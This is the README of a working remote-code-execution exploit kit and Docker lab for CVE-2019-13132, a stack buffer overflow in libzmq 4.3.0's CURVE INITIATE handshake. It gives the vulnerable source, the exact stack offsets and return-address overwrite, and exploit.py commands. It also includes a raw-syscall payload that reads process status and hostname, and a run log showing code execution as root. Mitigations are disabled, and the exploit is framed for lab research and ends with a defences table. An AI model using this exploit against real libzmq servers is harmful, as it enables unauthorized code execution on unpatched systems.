
CVE-2019-13132 — libzmq CURVE INITIATE stack overflow → RCE. Working exploit + Docker lab.
End-to-end working RCE exploit + reproducible lab for CVE-2019-13132, a stack buffer overflow in libzmq's CURVE INITIATE handshake handler. An attacker who knows the server's long-term public key (a public parameter by design) can overflow a fixed-size stack buffer in process_initiate(), overwrite the saved return address, and redirect execution to arbitrary code.
By Nicolas Krassas (@dinosn).
Lab use only. This kit ships an intentionally vulnerable libzmq 4.3.0 with mitigations disabled. Don't expose port 5556 outside the lab. The bug was fixed in libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Automated smoke test (runs exploit + verifies proof file):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box is a 416-byte stack-allocated buffer. The memcpy writes size - 113 bytes into the 400-byte payload region (offset 16..415). Any INITIATE with size > 513 overflows past the buffer into saved callee registers and the return address.
The cookie verification happens before the overflow, so the INITIATE must carry a genuine cookie — but the cookie is obtained from the prior WELCOME message using only the server's long-term public key.
The CURVE protocol is designed so that clients already possess the server's long-term public key (it's in the connection URI or configuration). The exploit:
memcpy fires.No application-level credentials. No ZAP authentication bypass. The overflow fires during the CURVE key exchange, before the application ever sees the peer.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
The exploit sends 464 bytes of payload: 456 bytes of filler (0x41) to reach the return address, then 8 bytes containing the address of lab_trampoline().
After the overflow, crypto_box_open() fails (the overflowed data is garbage ciphertext). The error path logs the failure, sets errno, and returns -1 — but the error path accesses only stack locations below the overflow region (RSP+0xe0, RSP+0xf0, RSP+0x280), so it runs cleanly with the corrupted stack.
The function epilogue (add $0x628,%rsp; pop rbx-r15; ret) pops the corrupted saved registers (now 0x4141414141414141) and then ret loads our trampoline address.
lab_trampoline() uses raw syscalls (no libc, no fork()) to write the proof file:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Raw syscalls are used instead of system() / fork() because process_initiate() runs on libzmq's I/O thread — calling fork() from a non-main thread in a multi-threaded process deadlocks on glibc's pthread_atfork lock handlers.
The server's long-term public key is a public parameter in the CurveZMQ protocol — clients must have it to connect. It's typically distributed in configuration files, URIs, or discovery mechanisms. The exploit requires no secret material.
The exploit needs two values:
| field | value | source |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (non-PIE binary, fixed address) |
offset_to_ret | 456 | disassembly of process_initiate (0x658 - 0x490) |
Both are hardcoded in exploit.py as built-in defaults for the Docker lab build (Debian 12, gcc 12, libzmq 4.3.0). No calibration step is required — just run the exploit:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Resolution priority: --trampoline/--offset flags → --profile file → /opt/zmq-curve-rce/profile.json → built-in defaults.
ZMTP has no introspection API. The greeting reveals only the protocol version (3.x) and mechanism (CURVE) — nothing about the libzmq build, compiler, or binary layout. There is no runtime-accessible build identifier that would allow automatic offset selection against unknown targets.
The calibrate.sh / compute_offsets.py scripts are provided for rebuilds on different distros or gcc versions, where the trampoline address may shift. Inside the Docker lab they run automatically but aren't needed.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| Defence | Effect |
|---|---|
| Upgrade to libzmq >= 4.3.2 | Fixed. Adds an upper-bound check on INITIATE size before the memcpy. |
Stack canaries (-fstack-protector) | Detects the overflow before the function returns. The canary sits between locals and saved registers; the overflow corrupts it, triggering __stack_chk_fail. |
| ASLR | Randomises shared-library and stack addresses. The trampoline is in a non-PIE binary (fixed address), but a production server would be PIE, requiring an info leak. |
| PIE | Randomises the server binary's load address. The trampoline address would no longer be predictable without a leak. |
| NX | Not relevant here — no shellcode is injected; the exploit calls existing code. |
| ZAP / application-level auth | Does not help — the overflow fires during CURVE key exchange, before ZAP is consulted. |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. The intentionally-vulnerable libzmq 4.3.0 source is fetched at build time from the upstream LGPLv3-with-exceptions / MPLv2 repository.
For defensive security research, education, and authorized security testing only. Do not deploy the bundled vulnerable build outside a contained lab environment.